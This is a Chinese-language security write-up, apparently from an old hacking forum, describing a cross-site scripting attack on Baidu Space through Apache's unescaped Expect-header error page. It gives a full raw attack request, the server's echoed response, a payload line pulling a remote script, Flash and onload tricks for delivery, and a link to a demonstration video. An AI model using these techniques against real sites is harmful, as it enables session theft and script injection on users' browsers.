百度空间跨站攻击一例
文章作者:茄子宝
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注:文章首发http://s0n9.blog.sohu.com/,后由原创作者友情提交到邪恶八进制信息安全团队。
1.首先这是个Apache的老漏洞,Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。
实际过程是这样的,我们发出一个HTTP请求,给加上报头Expect: <xss>,这个报头的内容Expect: <xss>将会被当成错误信息输出。
那么针对百度测试一下http://photo5.yupoo.com/20071111/180735_1946718006_yeqgslag.jpg
发起一个POST请求,
POST / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Referer: http://xss.betaslife.com/baidu.swf
Content-Type: application/x-www-form-urlencoded
Expect: <xss> Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: hi.baidu.com
Content-Length: 7
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=875AE724A06D77C70D79C96D1CEB6C81
xss
结果返回了如下内容
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>417 Expectation Failed</TITLE></HEAD><BODY><H1>Expectation Failed</H1>The expectation given in the Expect request-header field could not be met by this server.<P>The client sent<PRE> Expect: <xss> Accept-Encoding: gzip, deflate</PRE>but we only allow the 100-continue expectation.</BODY></HTML>
根据测试的结果发现百度空间的所有服务器都存在这个漏洞,当然现在很多大网站也存在这样的问题。
2.再来看看这个漏洞,这个漏洞的跨站脚本是在主域名下实现的,也就是我们可以在hi.baidu.com下写任意的脚本内容.
大家都知道现在百度空间的富文本编辑做得比较安全,基本上没有什么跨站脚本漏洞,上面测试出了漏洞,那么利用这个Apache漏洞我们就能做一些邪恶的事情,要找出能发出这个HTTP报头的方法,如果利用AJAX技术是会有域限制的,所以我们只能利用FLASH文件。
在实际测试过程中遇到了一些问题,Expect头输出的内容是延时的,很多如DOCUMENT.WRITE和NEW IMGE()的方法也都会失效,直接
Expect: <script src=http://xxx.com/xx.js></script>远程链接一个脚本也不会被执行,所以我们只能用<body onload=xxx>类似的方法在网页加载时就运行脚本。
然后最主要的是浏览器的编码问题,当发起这个请求后返回的页面大部分是UNICODE编码,也就是你想写入的JAVASCRIPT不能包含中文,这里LUOLUO哥教了我一个小技巧指定脚本标记中的编码 <script charset="" xxxx
突破了这两个问题就能直接实现我们的攻击。
3.其他重点就不再多说了,毕竟这个老漏洞还有一定的危害,附上录像一个。
http://raystyle.googlepages.com/baidu.html
录像下载地址:baidu.rar